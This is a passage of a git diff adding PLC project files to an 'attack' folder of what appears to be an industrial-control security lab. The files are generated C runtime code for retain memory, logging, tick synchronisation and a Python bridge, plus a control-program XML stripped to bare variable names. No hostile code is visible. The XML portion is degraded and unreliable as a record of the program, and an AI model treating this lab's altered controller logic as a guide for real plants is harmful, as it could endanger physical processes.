*(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 